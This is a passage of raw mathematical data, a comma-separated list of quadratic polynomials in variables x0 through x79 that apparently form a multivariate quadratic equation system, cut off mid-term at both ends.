x28*x61 + x28*x62 + x28*x63 + x28*x66 + x28*x67 + x28*x68 + x28*x70 + x28*x74 + x28*x75 + x28*x77 + x28*x79 + x29*x31 + x29*x32 + x29*x33 + x29*x35 + x29*x36 + x29*x37 + x29*x39 + x29*x41 + x29*x48 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x53 + x29*x54 + x29*x55 + x29*x57 + x29*x58 + x29*x62 + x29*x63 + x29*x64 + x29*x67 + x29*x68 + x29*x74 + x29*x76 + x29*x79 + x30*x31 + x30*x32 + x30*x33 + x30*x34 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x42 + x30*x43 + x30*x45 + x30*x50 + x30*x51 + x30*x52 + x30*x53 + x30*x54 + x30*x59 + x30*x60 + x30*x62 + x30*x63 + x30*x64 + x30*x65 + x30*x67 + x30*x68 + x30*x69 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x76 + x30*x77 + x31*x32 + x31*x34 + x31*x35 + x31*x37 + x31*x41 + x31*x42 + x31*x45 + x31*x46 + x31*x47 + x31*x48 + x31*x50 + x31*x54 + x31*x55 + x31*x58 + x31*x59 + x31*x61 + x31*x64 + x31*x66 + x31*x71 + x31*x72 + x31*x73 + x31*x76 + x31*x79 + x32*x33 + x32*x34 + x32*x36 + x32*x37 + x32*x38 + x32*x40 + x32*x41 + x32*x43 + x32*x44 + x32*x47 + x32*x51 + x32*x52 + x32*x56 + x32*x58 + x32*x60 + x32*x64 + x32*x65 + x32*x68 + x32*x70 + x32*x71 + x32*x72 + x32*x73 + x32*x77 + x32*x78 + x32 + x33*x35 + x33*x41 + x33*x43 + x33*x45 + x33*x47 + x33*x49 + x33*x50 + x33*x51 + x33*x54 + x33*x55 + x33*x56 + x33*x59 + x33*x64 + x33*x67 + x33*x68 + x33*x71 + x33*x73 + x33*x76 + x33*x77 + x34*x35 + x34*x36 + x34*x38 + x34*x39 + x34*x40 + x34*x42 + x34*x43 + x34*x44 + x34*x46 + x34*x48 + x34*x49 + x34*x50 + x34*x52 + x34*x56 + x34*x57 + x34*x59 + x34*x61 + x34*x62 + x34*x63 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x70 + x34*x72 + x34*x73 + x34*x74 + x34*x76 + x34*x77 + x34 + x35*x38 + x35*x41 + x35*x43 + x35*x45 + x35*x47 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x54 + x35*x56 + x35*x57 + x35*x61 + x35*x62 + x35*x63 + x35*x64 + x35*x66 + x35*x69 + x35*x70 + x35*x71 + x35*x74 + x35*x75 + x35*x76 + x35*x77 + x35*x78 + x36*x37 + x36*x38 + x36*x39 + x36*x42 + x36*x45 + x36*x47 + x36*x50 + x36*x51 + x36*x52 + x36*x53 + x36*x55 + x36*x57 + x36*x59 + x36*x60 + x36*x64 + x36*x65 + x36*x66 + x36*x67 + x36*x69 + x36*x71 + x36*x72 + x36*x75 + x36*x76 + x36*x78 + x37*x38 + x37*x41 + x37*x47 + x37*x48 + x37*x49 + x37*x50 + x37*x51 + x37*x55 + x37*x57 + x37*x59 + x37*x60 + x37*x63 + x37*x65 + x37*x66 + x37*x69 + x37*x71 + x37*x74 + x37*x75 + x37*x78 + x38*x40 + x38*x41 + x38*x42 + x38*x43 + x38*x44 + x38*x45 + x38*x46 + x38*x47 + x38*x48 + x38*x50 + x38*x56 + x38*x57 + x38*x58 + x38*x61 + x38*x64 + x38*x67 + x38*x69 + x38*x72 + x38*x76 + x38*x77 + x38*x78 + x38 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x51 + x39*x53 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x63 + x39*x64 + x39*x65 + x39*x69 + x39*x70 + x39*x73 + x39*x75 + x39*x76 + x39*x77 + x39*x78 + x40*x41 + x40*x45 + x40*x46 + x40*x47 + x40*x49 + x40*x54 + x40*x59 + x40*x60 + x40*x61 + x40*x66 + x40*x67 + x40*x68 + x40*x69 + x40*x70 + x40*x72 + x40*x73 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x78 + x40 + x41*x42 + x41*x45 + x41*x46 + x41*x48 + x41*x51 + x41*x53 + x41*x54 + x41*x60 + x41*x61 + x41*x63 + x41*x65 + x41*x66 + x41*x71 + x41*x72 + x41*x74 + x41*x78 + x41*x79 + x42*x47 + x42*x49 + x42*x53 + x42*x55 + x42*x56 + x42*x57 + x42*x58 + x42*x59 + x42*x62 + x42*x63 + x42*x66 + x42*x67 + x42*x68 + x42*x69 + x42*x72 + x42*x79 + x42 + x43*x45 + x43*x49 + x43*x50 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x58 + x43*x59 + x43*x62 + x43*x64 + x43*x72 + x43*x74 + x43*x76 + x43*x77 + x44*x45 + x44*x48 + x44*x50 + x44*x52 + x44*x53 + x44*x54 + x44*x56 + x44*x59 + x44*x60 + x44*x62 + x44*x65 + x44*x66 + x44*x67 + x44*x70 + x44*x72 + x44*x73 + x44*x75 + x44*x78 + x45*x49 + x45*x50 + x45*x55 + x45*x57 + x45*x58 + x45*x59 + x45*x60 + x45*x61 + x45*x66 + x45*x67 + x45*x68 + x45*x69 + x45*x71 + x45*x73 + x45*x76 + x45 + x46*x47 + x46*x48 + x46*x49 + x46*x53 + x46*x56 + x46*x58 + x46*x59 + x46*x62 + x46*x66 + x46*x68 + x46*x70 + x46*x72 + x46*x74 + x46*x75 + x46*x76 + x46*x78 + x46*x79 + x47*x49 + x47*x50 + x47*x52 + x47*x55 + x47*x57 + x47*x59 + x47*x60 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x66 + x47*x67 + x47*x68 + x47*x69 + x47*x72 + x47*x74 + x47*x75 + x47*x76 + x47*x77 + x47*x78 + x47*x79 + x48*x50 + x48*x54 + x48*x55 + x48*x56 + x48*x58 + x48*x59 + x48*x61 + x48*x63 + x48*x64 + x48*x65 + x48*x67 + x48*x70 + x48*x71 + x48*x72 + x48*x77 + x48*x78 + x48 + x49*x51 + x49*x52 + x49*x56 + x49*x57 + x49*x58 + x49*x62 + x49*x63 + x49*x64 + x49*x65 + x49*x66 + x49*x68 + x49*x70 + x49*x72 + x49*x73 + x49*x74 + x49*x76 + x49*x77 + x49*x78 + x49*x79 + x49 + x50*x53 + x50*x55 + x50*x56 + x50*x58 + x50*x62 + x50*x63 + x50*x67 + x50*x70 + x50*x73 + x50*x76 + x50*x79 + x51*x56 + x51*x57 + x51*x63 + x51*x64 + x51*x65 + x51*x75 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x55 + x52*x58 + x52*x59 + x52*x60 + x52*x62 + x52*x63 + x52*x64 + x52*x66 + x52*x67 + x52*x68 + x52*x70 + x52*x71 + x52*x72 + x52*x73 + x52*x75 + x53*x54 + x53*x56 + x53*x57 + x53*x58 + x53*x59 + x53*x60 + x53*x62 + x53*x64 + x53*x65 + x53*x66 + x53*x69 + x53*x71 + x53*x72 + x53*x76 + x53*x78 + x53*x79 + x54*x55 + x54*x57 + x54*x60 + x54*x61 + x54*x63 + x54*x64 + x54*x65 + x54*x66 + x54*x67 + x54*x69 + x54*x71 + x54*x73 + x54*x74 + x54*x78 + x55*x56 + x55*x58 + x55*x59 + x55*x64 + x55*x66 + x55*x71 + x55*x75 + x55*x76 + x55*x77 + x55*x79 + x55 + x56*x57 + x56*x58 + x56*x59 + x56*x60 + x56*x62 + x56*x66 + x56*x67 + x56*x68 + x56*x69 + x56*x70 + x56*x76 + x56*x77 + x56*x78 + x56*x79 + x56 + x57*x58 + x57*x60 + x57*x67 + x57*x68 + x57*x69 + x57*x70 + x57*x76 + x57 + x58*x61 + x58*x62 + x58*x63 + x58*x65 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x75 + x58*x76 + x58*x77 + x58*x78 + x58 + x59*x60 + x59*x61 + x59*x62 + x59*x64 + x59*x65 + x59*x67 + x59*x68 + x59*x69 + x59*x70 + x59*x72 + x59*x73 + x59*x74 + x59*x75 + x59*x76 + x59*x77 + x59*x78 + x59 + x60*x61 + x60*x62 + x60*x63 + x60*x64 + x60*x68 + x60*x70 + x60*x71 + x60*x73 + x60*x74 + x60*x76 + x60*x77 + x60*x78 + x60*x79 + x60 + x61*x62 + x61*x64 + x61*x65 + x61*x66 + x61*x68 + x61*x70 + x61*x71 + x61*x72 + x61*x75 + x61*x78 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x67 + x62*x68 + x62*x70 + x62*x72 + x62*x75 + x62*x76 + x62*x77 + x62*x78 + x62*x79 + x62 + x63*x66 + x63*x67 + x63*x69 + x63*x71 + x63*x73 + x63*x76 + x63*x77 + x63 + x64*x65 + x64*x66 + x64*x69 + x64*x72 + x64*x73 + x64*x76 + x64*x78 + x65*x66 + x65*x67 + x65*x70 + x65*x71 + x65*x73 + x65*x77 + x65*x79 + x66*x67 + x66*x71 + x66*x74 + x66*x75 + x66*x76 + x66*x77 + x66*x79 + x67*x68 + x67*x69 + x67*x70 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67 + x68*x70 + x68*x71 + x68*x76 + x68*x78 + x69*x70 + x69*x71 + x69*x73 + x69*x74 + x69*x76 + x69*x77 + x69 + x70*x72 + x70*x76 + x71*x73 + x71*x74 + x71*x76 + x71*x77 + x71 + x72*x75 + x72*x76 + x72*x77 + x72*x78 + x73*x74 + x73*x77 + x73*x78 + x73*x79 + x73 + x74*x78 + x74*x79 + x74 + x75*x76 + x75*x77 + x75*x78 + x76*x77 + x76*x79 + x79 + 1, x0*x1 + x0*x4 + x0*x8 + x0*x9 + x0*x10 + x0*x12 + x0*x13 + x0*x14 + x0*x16 + x0*x18 + x0*x19 + x0*x21 + x0*x27 + x0*x29 + x0*x31 + x0*x32 + x0*x34 + x0*x36 + x0*x38 + x0*x41 + x0*x43 + x0*x44 + x0*x45 + x0*x46 + x0*x48 + x0*x49 + x0*x51 + x0*x52 + x0*x53 + x0*x54 + x0*x56 + x0*x59 + x0*x60 + x0*x61 + x0*x62 + x0*x63 + x0*x64 + x0*x65 + x0*x68 + x0*x70 + x0*x72 + x0*x75 + x0 + x1*x3 + x1*x4 + x1*x5 + x1*x6 + x1*x7 + x1*x8 + x1*x10 + x1*x12 + x1*x13 + x1*x15 + x1*x17 + x1*x19 + x1*x27 + x1*x28 + x1*x29 + x1*x33 + x1*x35 + x1*x36 + x1*x37 + x1*x40 + x1*x42 + x1*x48 + x1*x50 + x1*x51 + x1*x52 + x1*x54 + x1*x55 + x1*x56 + x1*x57 + x1*x65 + x1*x69 + x1*x74 + x1*x76 + x1*x77 + x1*x78 + x2*x7 + x2*x8 + x2*x9 + x2*x11 + x2*x14 + x2*x15 + x2*x19 + x2*x20 + x2*x23 + x2*x26 + x2*x28 + x2*x30 + x2*x31 + x2*x32 + x2*x34 + x2*x37 + x2*x39 + x2*x42 + x2*x45 + x2*x49 + x2*x50 + x2*x52 + x2*x53 + x2*x55 + x2*x59 + x2*x60 + x2*x66 + x2*x67 + x2*x69 + x2*x70 + x2*x72 + x2*x73 + x2*x74 + x2*x75 + x2*x76 + x2*x78 + x3*x4 + x3*x6 + x3*x7 + x3*x8 + x3*x12 + x3*x14 + x3*x15 + x3*x16 + x3*x22 + x3*x26 + x3*x27 + x3*x28 + x3*x30 + x3*x33 + x3*x34 + x3*x36 + x3*x37 + x3*x38 + x3*x39 + x3*x42 + x3*x46 + x3*x47 + x3*x48 + x3*x50 + x3*x51 + x3*x53 + x3*x57 + x3*x59 + x3*x61 + x3*x64 + x3*x67 + x3*x72 + x3*x75 + x3*x79 + x3 + x4*x8 + x4*x9 + x4*x10 + x4*x11 + x4*x14 + x4*x15 + x4*x18 + x4*x19 + x4*x21 + x4*x23 + x4*x24 + x4*x25 + x4*x28 + x4*x29 + x4*x30 + x4*x31 + x4*x32 + x4*x33 + x4*x36 + x4*x38 + x4*x39 + x4*x44 + x4*x48 + x4*x50 + x4*x52 + x4*x53 + x4*x54 + x4*x55 + x4*x57 + x4*x58 + x4*x59 + x4*x61 + x4*x62 + x4*x66 + x4*x67 + x4*x69 + x4*x70 + x4*x71 + x4*x72 + x4*x75 + x4*x76 + x4*x77 + x4*x79 + x4 + x5*x9 + x5*x11 + x5*x12 + x5*x14 + x5*x17 + x5*x18 + x5*x20 + x5*x21 + x5*x22 + x5*x26 + x5*x27 + x5*x28 + x5*x30 + x5*x32 + x5*x34 + x5*x35 + x5*x36 + x5*x41 + x5*x42 + x5*x44 + x5*x45 + x5*x49 + x5*x50 + x5*x51 + x5*x52 + x5*x54 + x5*x59 + x5*x60 + x5*x61 + x5*x65 + x5*x66 + x5*x68 + x5*x69 + x5*x70 + x5*x72 + x5*x74 + x5*x75 + x5*x76 + x5*x77 + x5*x78 + x5*x79 + x6*x7 + x6*x9 + x6*x11 + x6*x12 + x6*x13 + x6*x14 + x6*x17 + x6*x18 + x6*x20 + x6*x21 + x6*x23 + x6*x24 + x6*x25 + x6*x27 + x6*x28 + x6*x32 + x6*x33 + x6*x35 + x6*x38 + x6*x40 + x6*x42 + x6*x43 + x6*x45 + x6*x47 + x6*x48 + x6*x50 + x6*x54 + x6*x55 + x6*x57 + x6*x58 + x6*x61 + x6*x62 + x6*x65 + x6*x66 + x6*x70 + x6*x71 + x6*x74 + x6*x76 + x6*x79 + x6 + x7*x9 + x7*x13 + x7*x14 + x7*x16 + x7*x17 + x7*x20 + x7*x22 + x7*x23 + x7*x24 + x7*x27 + x7*x28 + x7*x32 + x7*x35 + x7*x42 + x7*x43 + x7*x44 + x7*x45 + x7*x47 + x7*x49 + x7*x50 + x7*x51 + x7*x53 + x7*x57 + x7*x58 + x7*x59 + x7*x60 + x7*x63 + x7*x64 + x7*x65 + x7*x70 + x7*x71 + x7*x72 + x7*x73 + x7*x76 + x7*x77 + x7*x78 + x8*x9 + x8*x11 + x8*x12 + x8*x16 + x8*x17 + x8*x19 + x8*x21 + x8*x24 + x8*x25 + x8*x27 + x8*x28 + x8*x30 + x8*x31 + x8*x32 + x8*x33 + x8*x34 + x8*x35 + x8*x37 + x8*x38 + x8*x42 + x8*x43 + x8*x45 + x8*x50 + x8*x54 + x8*x55 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x63 + x8*x64 + x8*x66 + x8*x67 + x8*x70 + x8*x73 + x8*x75 + x8*x77 + x8*x78 + x8 + x9*x10 + x9*x11 + x9*x12 + x9*x13 + x9*x14 + x9*x15 + x9*x16 + x9*x18 + x9*x21 + x9*x22 + x9*x28 + x9*x30 + x9*x34 + x9*x35 + x9*x36 + x9*x37 + x9*x42 + x9*x44 + x9*x45 + x9*x50 + x9*x51 + x9*x53 + x9*x55 + x9*x56 + x9*x59 + x9*x63 + x9*x69 + x9*x70 + x9*x71 + x9*x72 + x9*x73 + x9*x74 + x9*x75 + x9*x76 + x10*x12 + x10*x13 + x10*x18 + x10*x19 + x10*x22 + x10*x23 + x10*x24 + x10*x26 + x10*x27 + x10*x28 + x10*x31 + x10*x32 + x10*x37 + x10*x38 + x10*x39 + x10*x41 + x10*x42 + x10*x44 + x10*x46 + x10*x47 + x10*x48 + x10*x50 + x10*x51 + x10*x53 + x10*x54 + x10*x56 + x10*x59 + x10*x60 + x10*x62 + x10*x63 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x69 + x10*x74 + x10*x76 + x10*x78 + x10*x79 + x11*x13 + x11*x14 + x11*x15 + x11*x16 + x11*x20 + x11*x24 + x11*x25 + x11*x26 + x11*x27 + x11*x29 + x11*x34 + x11*x35 + x11*x36 + x11*x39 + x11*x42 + x11*x44 + x11*x45 + x11*x47 + x11*x48 + x11*x52 + x11*x54 + x11*x57 + x11*x59 + x11*x61 + x11*x62 + x11*x66 + x11*x67 + x11*x69 + x11*x70 + x11*x73 + x11*x75 + x11*x76 + x11*x79 + x11 + x12*x14 + x12*x16 + x12*x17 + x12*x18 + x12*x21 + x12*x23 + x12*x24 + x12*x27 + x12*x28 + x12*x31 + x12*x36 + x12*x37 + x12*x39 + x12*x40 + x12*x41 + x12*x53 + x12*x54 + x12*x55 + x12*x57 + x12*x58 + x12*x61 + x12*x63 + x12*x64 + x12*x65 + x12*x68 + x12*x69 + x12*x72 + x12*x76 + x12*x79 + x12 + x13*x14 + x13*x16 + x13*x17 + x13*x18 + x13*x19 + x13*x21 + x13*x23 + x13*x24 + x13*x25 + x13*x26 + x13*x30 + x13*x34 + x13*x35 + x13*x39 + x13*x40 + x13*x41 + x13*x46 + x13*x48 + x13*x49 + x13*x50 + x13*x51 + x13*x52 + x13*x54 + x13*x55 + x13*x59 + x13*x61 + x13*x64 + x13*x65 + x13*x69 + x13*x72 + x13*x73 + x13*x75 + x13*x77 + x13*x79 + x14*x17 + x14*x20 + x14*x24 + x14*x26 + x14*x29 + x14*x30 + x14*x31 + x14*x32 + x14*x33 + x14*x35 + x14*x36 + x14*x37 + x14*x38 + x14*x42 + x14*x43 + x14*x47 + x14*x49 + x14*x52 + x14*x55 + x14*x56 + x14*x58 + x14*x59 + x14*x60 + x14*x62 + x14*x65 + x14*x67 + x14*x69 + x14*x71 + x14*x72 + x14*x73 + x14*x74 + x14*x75 + x14*x76 + x14*x77 + x14*x79 + x14 + x15*x20 + x15*x23 + x15*x24 + x15*x25 + x15*x26 + x15*x29 + x15*x33 + x15*x36 + x15*x37 + x15*x39 + x15*x40 + x15*x41 + x15*x44 + x15*x46 + x15*x48 + x15*x49 + x15*x50 + x15*x52 + x15*x57 + x15*x58 + x15*x59 + x15*x61 + x15*x64 + x15*x66 + x15*x72 + x16*x18 + x16*x19 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x28 + x16*x29 + x16*x30 + x16*x31 + x16*x33 + x16*x35 + x16*x36 + x16*x38 + x16*x41 + x16*x42 + x16*x45 + x16*x49 + x16*x50 + x16*x51 + x16*x52 + x16*x53 + x16*x54 + x16*x56 + x16*x57 + x16*x58 + x16*x59 + x16*x60 + x16*x61 + x16*x62 + x16*x63 + x16*x67 + x16*x69 + x16*x70 + x16*x71 + x16*x73 + x16*x75 + x16*x76 + x16*x79 + x17*x19 + x17*x20 + x17*x21 + x17*x22 + x17*x26 + x17*x27 + x17*x29 + x17*x30 + x17*x32 + x17*x33 + x17*x36 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x47 + x17*x48 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x56 + x17*x58 + x17*x62 + x17*x64 + x17*x67 + x17*x69 + x17*x70 + x17*x72 + x17*x73 + x17*x79 + x18*x23 + x18*x24 + x18*x25 + x18*x28 + x18*x32 + x18*x33 + x18*x34 + x18*x35 + x18*x36 + x18*x37 + x18*x38 + x18*x39 + x18*x41 + x18*x44 + x18*x45 + x18*x47 + x18*x49 + x18*x51 + x18*x52 + x18*x53 + x18*x55 + x18*x57 + x18*x59 + x18*x61 + x18*x63 + x18*x67 + x18*x68 + x18*x69 + x18*x71 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18*x79 + x19*x21 + x19*x23 + x19*x26 + x19*x28 + x19*x29 + x19*x30 + x19*x35 + x19*x37 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x46 + x19*x47 + x19*x49 + x19*x51 + x19*x56 + x19*x61 + x19*x63 + x19*x65 + x19*x67 + x19*x68 + x19*x69 + x19*x71 + x19*x75 + x19*x76 + x19*x77 + x19*x78 + x20*x21 + x20*x23 + x20*x24 + x20*x26 + x20*x30 + x20*x31 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x37 + x20*x41 + x20*x43 + x20*x44 + x20*x46 + x20*x47 + x20*x48 + x20*x49 + x20*x52 + x20*x53 + x20*x54 + x20*x56 + x20*x60 + x20*x62 + x20*x63 + x20*x64 + x20*x66 + x20*x67 + x20*x68 + x20*x69 + x20*x70 + x20*x71 + x20*x73 + x20*x76 + x20 + x21*x22 + x21*x23 + x21*x26 + x21*x27 + x21*x39 + x21*x40 + x21*x45 + x21*x47 + x21*x48 + x21*x49 + x21*x54 + x21*x56 + x21*x58 + x21*x59 + x21*x60 + x21*x61 + x21*x62 + x21*x63 + x21*x65 + x21*x71 + x21*x72 + x21*x73 + x21*x76 + x21*x78 + x21*x79 + x21 + x22*x23 + x22*x25 + x22*x26 + x22*x27 + x22*x29 + x22*x32 + x22*x33 + x22*x34 + x22*x36 + x22*x37 + x22*x38 + x22*x39 + x22*x41 + x22*x45 + x22*x47 + x22*x48 + x22*x50 + x22*x51 + x22*x52 + x22*x55 + x22*x56 + x22*x58 + x22*x59 + x22*x60 + x22*x66 + x22*x67 + x22*x75 + x22*x79 + x22 + x23*x24 + x23*x26 + x23*x27 + x23*x28 + x23*x29 + x23*x30 + x23*x35 + x23*x37 + x23*x38 + x23*x39 + x23*x40 + x23*x41 + x23*x48 + x23*x50 + x23*x52 + x23*x53 + x23*x55 + x23*x56 + x23*x58 + x23*x62 + x23*x67 + x23*x68 + x23*x69 + x23*x70 + x23*x72 + x23*x76 + x23*x77 + x23*x78 + x23*x79 + x23 + x24*x26 + x24*x27 + x24*x28 + x24*x29 + x24*x30 + x24*x31 + x24*x35 + x24*x39 + x24*x40 + x24*x41 + x24*x43 + x24*x46 + x24*x49 + x24*x50 + x24*x51 + x24*x52 + x24*x53 + x24*x60 + x24*x61 + x24*x64 + x24*x68 + x24*x69 + x24*x70 + x24*x72 + x24*x73 + x24*x75 + x24*x78 + x25*x26 + x25*x28 + x25*x29 + x25*x30 + x25*x31 + x25*x33 + x25*x34 + x25*x35 + x25*x36 + x25*x37 + x25*x38 + x25*x39 + x25*x40 + x25*x44 + x25*x46 + x25*x54 + x25*x57 + x25*x58 + x25*x59 + x25*x61 + x25*x64 + x25*x67 + x25*x69 + x25*x71 + x25*x72 + x25*x75 + x25*x77 + x25 + x26*x27 + x26*x28 + x26*x30 + x26*x31 + x26*x32 + x26*x34 + x26*x35 + x26*x39 + x26*x40 + x26*x41 + x26*x45 + x26*x50 + x26*x51 + x26*x52 + x26*x54 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x67 + x26*x69 + x26*x71 + x26*x72 + x26*x74 + x26*x75 + x26*x78 + x26*x79 + x26 + x27*x28 + x27*x32 + x27*x33 + x27*x36 + x27*x39 + x27*x40 + x27*x43 + x27*x44 + x27*x45 + x27*x53 + x27*x59 + x27*x65 + x27*x66 + x27*x68 + x27*x69 + x27*x71 + x27*x72 + x27*x73 + x27*x74 + x27*x76 + x27*x77 + x27*x78 + x28*x29 + x28*x31 + x28*x33 + x28*x35 + x28*x36 + x28*x38 + x28*x39 + x28*x40 + x28*x44 + x28*x45 + x28*x46 + x28*x47 + x28*x48 + x28*x50 + x28*x51 + x28*x52 + x28*x53 + x28*x54 + x28*x59 + x28*x60 + x28*x62 + x28*x63 + x28*x65 + x28*x69 + x28*x71 + x28*x75 + x28*x78 + x28*x79 + x28 + x29*x32 + x29*x35 + x29*x36 + x29*x37 + x29*x39 + x29*x40 + x29*x41 + x29*x42 + x29*x45 + x29*x48 + x29*x51 + x29*x54 + x29*x59 + x29*x60 + x29*x61 + x29*x62 + x29*x64 + x29*x66 + x29*x68 + x29*x70 + x29*x71 + x29*x72 + x29*x73 + x29*x76 + x29 + x30*x32 + x30*x34 + x30*x35 + x30*x36 + x30*x38 + x30*x42 + x30*x43 + x30*x48 + x30*x49 + x30*x51 + x30*x53 + x30*x55 + x30*x56 + x30*x57 + x30*x58 + x30*x60 + x30*x61 + x30*x62 + x30*x63 + x30*x65 + x30*x68 + x30*x70 + x30*x71 + x30*x73 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x33 + x31*x35 + x31*x36 + x31*x37 + x31*x42 + x31*x43 + x31*x44 + x31*x47 + x31*x50 + x31*x53 + x31*x54 + x31*x56 + x31*x57 + x31*x59 + x31*x60 + x31*x61 + x31*x62 + x31*x63 + x31*x67 + x31*x69 + x31*x70 + x31*x71 + x31*x72 + x31*x73 + x31*x74 + x31*x75 + x31*x76 + x31*x78 + x32*x34 + x32*x35 + x32*x37 + x32*x41 + x32*x43 + x32*x44 + x32*x45 + x32*x48 + x32*x51 + x32*x52 + x32*x53 + x32*x54 + x32*x55 + x32*x57 + x32*x58 + x32*x62 + x32*x63 + x32*x65 + x32*x67 + x32*x70 + x32*x71 + x32*x72 + x32*x74 + x32*x79 + x32 + x33*x42 + x33*x43 + x33*x44 + x33*x47 + x33*x48 + x33*x49 + x33*x50 + x33*x52 + x33*x53 + x33*x55 + x33*x56 + x33*x60 + x33*x61 + x33*x62 + x33*x63 + x33*x67 + x33*x68 + x33*x70 + x33*x74 + x33*x75 + x33*x79 + x33 + x34*x40 + x34*x42 + x34*x43 + x34*x45 + x34*x46 + x34*x47 + x34*x48 + x34*x49 + x34*x50 + x34*x51 + x34*x52 + x34*x53 + x34*x54 + x34*x57 + x34*x58 + x34*x60 + x34*x61 + x34*x64 + x34*x65 + x34*x66 + x34*x67 + x34*x68 + x34*x69 + x34*x70 + x34*x74 + x34*x78 + x34*x79 + x35*x36 + x35*x37 + x35*x42 + x35*x43 + x35*x44 + x35*x45 + x35*x48 + x35*x49 + x35*x50 + x35*x52 + x35*x53 + x35*x54 + x35*x58 + x35*x66 + x35*x69 + x35*x71 + x35*x73 + x35*x77 + x35*x79 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x44 + x36*x45 + x36*x46 + x36*x47 + x36*x49 + x36*x53 + x36*x54 + x36*x58 + x36*x62 + x36*x64 + x36*x66 + x36*x69 + x36*x70 + x36*x72 + x36*x73 + x36*x77 + x36*x78 + x36*x79 + x37*x38 + x37*x40 + x37*x41 + x37*x43 + x37*x46 + x37*x47 + x37*x49 + x37*x50 + x37*x51 + x37*x52 + x37*x53 + x37*x57 + x37*x61 + x37*x63 + x37*x64 + x37*x66 + x37*x67 + x37*x68 + x37*x69 + x37*x70 + x37*x71 + x37*x73 + x37*x75 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x40 + x38*x41 + x38*x42 + x38*x44 + x38*x45 + x38*x46 + x38*x49 + x38*x50 + x38*x54 + x38*x56 + x38*x59 + x38*x60 + x38*x63 + x38*x65 + x38*x66 + x38*x67 + x38*x69 + x38*x75 + x38*x76 + x38*x78 + x38*x79 + x38 + x39*x41 + x39*x42 + x39*x44 + x39*x45 + x39*x47 + x39*x53 + x39*x55 + x39*x56 + x39*x58 + x39*x59 + x39*x60 + x39*x61 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x69 + x39*x70 + x39*x71 + x39*x72 + x39*x73 + x39*x76 + x39*x78 + x40*x43 + x40*x44 + x40*x47 + x40*x50 + x40*x51 + x40*x54 + x40*x55 + x40*x57 + x40*x58 + x40*x60 + x40*x62 + x40*x66 + x40*x68 + x40*x70 + x40*x71 + x40*x74 + x40*x75 + x40*x76 + x40*x77 + x40*x78 + x40*x79 + x40 + x41*x42 + x41*x46 + x41*x47 + x41*x49 + x41*x51 + x41*x53 + x41*x56 + x41*x59 + x41*x61 + x41*x63 + x41*x64 + x41*x65 + x41*x67 + x41*x68 + x41*x69 + x41*x71 + x41*x72 + x41*x74 + x41*x75 + x41*x77 + x41*x78 + x41 + x42*x46 + x42*x47 + x42*x49 + x42*x50 + x42*x51 + x42*x52 + x42*x53 + x42*x56 + x42*x59 + x42*x64 + x42*x65 + x42*x70 + x42*x71 + x42*x74 + x42*x78 + x42 + x43*x44 + x43*x45 + x43*x46 + x43*x47 + x43*x48 + x43*x52 + x43*x53 + x43*x54 + x43*x55 + x43*x56 + x43*x57 + x43*x58 + x43*x59 + x43*x60 + x43*x61 + x43*x65 + x43*x66 + x43*x68 + x43*x72 + x43*x73 + x43*x74 + x43*x77 + x43*x79 + x44*x47 + x44*x48 + x44*x50 + x44*x52 + x44*x55 + x44*x56 + x44*x58 + x44*x59 + x44*x63 + x44*x64 + x44*x65 + x44*x68 + x44*x69 + x44*x71 + x44*x72 + x44*x73 + x44*x75 + x44*x77 + x44*x78 + x45*x46 + x45*x49 + x45*x50 + x45*x52 + x45*x53 + x45*x56 + x45*x58 + x45*x61 + x45*x62 + x45*x64 + x45*x65 + x45*x66 + x45*x67 + x45*x69 + x45*x70 + x45*x73 + x45*x74 + x45*x75 + x45*x77 + x45*x78 + x45 + x46*x47 + x46*x51 + x46*x52 + x46*x53 + x46*x54 + x46*x56 + x46*x57 + x46*x58 + x46*x60 + x46*x61 + x46*x62 + x46*x65 + x46*x69 + x46*x74 + x46*x75 + x46*x77 + x46*x79 + x47*x51 + x47*x57 + x47*x58 + x47*x61 + x47*x62 + x47*x63 + x47*x64 + x47*x65 + x47*x66 + x47*x70 + x47*x74 + x47*x75 + x47*x76 + x47*x77 + x47*x79 + x47 + x48*x50 + x48*x56 + x48*x58 + x48*x60 + x48*x61 + x48*x63 + x48*x64 + x48*x66 + x48*x67 + x48*x68 + x48*x69 + x48*x72 + x48*x74 + x48*x75 + x48*x76 + x48*x77 + x48*x79 + x48 + x49*x52 + x49*x53 + x49*x54 + x49*x55 + x49*x56 + x49*x57 + x49*x60 + x49*x62 + x49*x64 + x49*x67 + x49*x70 + x49*x71 + x49*x73 + x49*x75 + x50*x52 + x50*x53 + x50*x58 + x50*x59 + x50*x63 + x50*x65 + x50*x66 + x50*x67 + x50*x68 + x50*x69 + x50*x72 + x50*x78 + x50 + x51*x52 + x51*x53 + x51*x55 + x51*x57 + x51*x58 + x51*x60 + x51*x61 + x51*x62 + x51*x64 + x51*x65 + x51*x66 + x51*x69 + x51*x70 + x51*x71 + x51*x72 + x51*x73 + x51*x74 + x51*x75 + x51*x77 + x51 + x52*x54 + x52*x56 + x52*x59 + x52*x60 + x52*x61 + 